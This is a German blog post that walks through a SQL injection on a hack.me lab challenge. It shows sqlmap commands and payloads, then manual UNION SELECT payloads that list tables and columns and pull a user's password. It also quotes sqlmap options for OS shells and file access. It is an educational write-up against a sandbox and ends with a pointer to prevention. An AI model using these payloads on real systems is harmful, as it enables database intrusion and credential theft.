Blog

SQL Injection aus der Sicht eines Angreifers

Machen wir uns nichts vor, viele Angriffe passieren immer noch über die gute alte SQL Injection. Aber wie extrahiert ein Angreifer eigentlich nun wirklich Daten?

Um die SQL Injection näher zu zeigen, beziehe ich mich auf einen Teil einer hack.me Challenge.

Wer hack.me noch nicht kennt, sollte sie unbedingt ausprobieren. elearnsecurity hat eine Seite ins Leben gerufen, auf der man PHP-Code mit Schwachstellen hochladen kann. Jeder Besucher kann sich seine eigene Sandbox starten und darin den Code angreifen.

Aber zurück zur Challenge. Hierbei geht es im Wesentlichen um eine Brauerei. Überspringen wir den ersten Teil, welcher eine “Local File Inclusion” ist, kommen wir an der URL beer.php raus.

Hierbei kann man sich verschiedene Biere genauer anschauen. Jedes Bier wird über die URL /beer.php?id=<ID> aufgerufen, wobei die ID eine beliebige Zahl sein kann. Da ich ja schon sagte, dass es sich hierbei um eine SQL Injection handelt, bleibt uns nur der Parameter id übrig.

Grundsätzlich kann man jetzt das Ganze in zwei Methoden untergliedern:

  1. SQLMap
  2. SQL Injection von Hand

SQLMap

Das ist die Hau-Drauf-Methode. SQLMap ist ein Tool, welches sämtliche Varianten von SQL Injections durchprobiert und versucht, Daten zu extrahieren. Natürlich ist dieses Tool wesentlich schneller als man selber und kommt auch meist schneller zu einem Ergebnis. Trotzdem ist es keine eierlegende Wollmilchsau und man sollte seine Ergebnisse mit Vorsicht genießen und sie verifizieren.

Man startet SQLMap mit folgendem Befehl:

$ sqlmap --cookie="PHPSESSID=<value>" "http://<server>.hack.me/beer.php?id=1" -a --dbms=MySQL

SQLMap wird an dieser Stelle mehrere Injection Points finden. Hierbei sind unter anderem:

Parameter: id (GET)  
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 6528=6528 AND 'Xrzt'='Xrzt

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=1' AND (SELECT * FROM (SELECT(SLEEP(5)))VEkS) AND 'EYyJ'='EYyJ

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x71716b6b71,0x42794f7544496575495347724c6a4676424d6a50434849585867774f474575575669456c77634d6f,0x716a7a6271),NULL-- -

Zudem bewirkt der Parameter -a, dass er die komplette Datenbank abspeichert.

Per Hand

Wer kein SQLMap zur Verfügung hat, kann auch einfach die gute alte Methode verwenden und selber Hand anlegen.

Durch die Eingabe eines einfachen Anführungszeichen bekommen wir folgende Fehlermeldung, welche uns eine vorhande SQL Injection bestätigt.

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\inetpub\wwwroot\coliseum\client\sandbox\43216-101303\BODY\inner\beer.php on line 31  

Durch weiteres Probieren kommt man darauf, dass die Eingabe ' union select 1,2,'3 eine gewollte Ausgabe, ohne Fehlermeldung, liefert.

Ausgabe des Befehls

Wir wissen nun zwei Dinge:

  • 2 und 3 sind für Ausgaben gut
  • Wir brauchen am Ende einen String mit einem einfachen Anführungszeichen am Anfang und keinem Anführungszeichen am Ende.

Wenn man sich ein wenig mit SQL auskennt, kann man sich aus den Bedingungen folgenden SQL-Befehl zusammenbauen, um alle Tabellennamen auszugeben:

' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema  

Das group_concat bewirkt hierbei, dass die Namen zusammengefügt und als ein String ausgegeben werden.

Ausgabe der Tabellennamen

Die Datenbank hat also zwei Tabellen. Da wir das Passwort von Kelly Green holen wollen, ist die Datenbank users interessant.

Wenn wir unseren SQL Exploit ein wenig anpassen, bekommen wir auch alle Columns der Tabelle users:

' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'users' AND table_schema != 'mysql' AND table_schema != 'information_schema  

Ausgabe des Table Schemas

Wir wollen das Passwort von Kelly Green aus der Tabelle users haben, was wir mit folgendem SQL-Befehl erreichen.

' UNION SELECT 1,2,group_concat(concat(name,' - ',surname,' - ',password),'<br />') FROM users WHERE name='Kelly' and surname='Green  

Ausgabe des Passwortes für "Kelly Green"
Alternativ können auch einfach alle Benutzer ausgegeben werden, wenn man die Where-Statements weglässt und ein einfaches where 1='1 aufgrund des Anführungszeichens hinzufügt.

Alle Passwörter ausgeben

Und dann?

Daten zu extrahieren ist nicht das einzige, was man mit einer SQL Injection anstellen kann. Hierbei möchte ich nochmal auf SQLMap verweisen, was auch ein Datenbank-Takeover möglich macht.

Die List ist lang, weshalb ich sie hier auch nur verkürzt einbinden möchte. Am besten ist aber, man liest sich mal die Feature-Liste von SQLMap in deren Wiki durch.

sqlmap -hh
-> % sqlmap -hh       
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.2.2#stable}
|_ -| . [']     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

Usage: python sqlmap.py [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

[...]

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
[...]

  Brute force:
    These options can be used to run brute force checks

    --common-tables     Check existence of common tables
    --common-columns    Check existence of common columns

  User-defined function injection:
    These options can be used to create custom user-defined functions

    --udf-inject        Inject custom user-defined functions
    --shared-lib=SHLIB  Local path of the shared library

  File system access:
    These options can be used to access the back-end database management
    system underlying file system

    --file-read=RFILE   Read a file from the back-end DBMS file system
    --file-write=WFILE  Write a local file on the back-end DBMS file system
    --file-dest=DFILE   Back-end DBMS absolute filepath to write to

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-cmd=OSCMD      Execute an operating system command
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC
[...]

  Windows registry access:
    These options can be used to access the back-end database management
    system Windows registry

    --reg-read          Read a Windows registry key value
    --reg-add           Write a Windows registry key value data
    --reg-del           Delete a Windows registry key value
[...]

Hierbei wird nichts ausgelassen und es kann in manchen Konfigurationen sogar zu einer Komprimittierung auf Betriebssystemebene kommen.

Fazit

SQL Injections sind keine kleine Lücke. Sie tragen im Wesentlichen zu einer kompletten Übernahme des Servers bei. Im einfachsten Fall sind Ihre Daten weg. Sie sind aber bekannt und es gibt Möglichkeiten, vor ihrem Auftreten zu verhindern.

Falls Sie diese noch nicht kennen, können sie sie gerne auch in unserem ersten Artikel zu SQL Injections nochmal überfliegen:  SQL-Injection – Was ist das und wie vermeide ich es?

Menü